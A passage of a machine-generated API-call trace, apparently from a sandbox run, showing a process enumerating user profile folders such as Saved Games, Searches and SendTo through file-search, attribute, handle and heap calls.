[0091.008] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0091.008] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="")) returned 1 [0091.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0091.009] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\saved games"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.009] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\saved games"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0091.009] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0091.009] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.009] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0091.010] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.010] NtClose (Handle=0x16c) returned 0x0 [0091.010] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0091.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0091.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa6c8 [0091.011] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9100 [0091.011] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.011] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0091.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0091.012] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0091.012] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0091.012] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0091.012] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0091.012] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f61b8 [0091.013] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fab08 [0091.013] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0091.013] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0091.013] GetLastError () returned 0x12 [0091.013] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0091.013] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0091.013] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.013] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0091.013] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0091.014] GetLastError () returned 0x12 [0091.014] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa6c8) returned 1 [0091.014] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0091.014] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.014] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0091.014] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0091.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0091.015] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0091.015] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0091.015] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0091.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.016] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0091.016] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.016] NtClose (Handle=0x164) returned 0x0 [0091.016] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0091.016] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0091.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa6c8 [0091.017] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0091.017] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.017] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0091.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0091.018] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0091.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0091.018] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0091.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0091.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f61d8 [0091.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0091.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0091.019] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="")) returned 1 [0091.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0091.020] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0091.020] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0091.020] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0091.020] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0091.020] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f61f8 [0091.021] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faa80 [0091.021] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0091.021] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="")) returned 1 [0091.021] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0091.022] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0091.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0091.022] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0091.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0091.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134c7b0 [0091.023] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6218 [0091.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1350fe0 [0091.024] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0091.024] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="")) returned 0 [0091.024] GetLastError () returned 0x12 [0091.024] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9100 [0091.024] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0091.024] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.024] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0091.024] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="")) returned 1 [0091.024] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="")) returned 1 [0091.024] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="")) returned 0 [0091.024] GetLastError () returned 0x12 [0091.024] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa6c8) returned 1 [0091.024] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0091.025] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134c7b0) returned 1 [0091.025] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0091.025] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0091.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0091.025] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\sendto"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.026] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\sendto"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0091.026] GetLastError () returned 0x5 [0091.026] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0091.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0091.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa6c8 [0091.027] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0091.027] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0091.027] GetLastError () returned 0x5 [0091.027] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0091.027] GetLastError () returned 0x5 [0091.027] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0091.027] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa6c8) returned 1 [0091.028] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0091.028] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="")) returned 1 [0091.028] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0091.028] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\start menu"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.028] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\start menu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0091.029] GetLastError () returned 0x5 [0091.029] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0091.029] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0091.029] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa6c8 [0091.029] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0091.030] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0091.030] GetLastError () returned 0x5 [0091.030] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0091.030] GetLastError () returned 0x5 [0091.030] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0091.030] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa6c8) returned 1 [0091.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0091.031] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="")) returned 1 [0091.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0091.031] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS 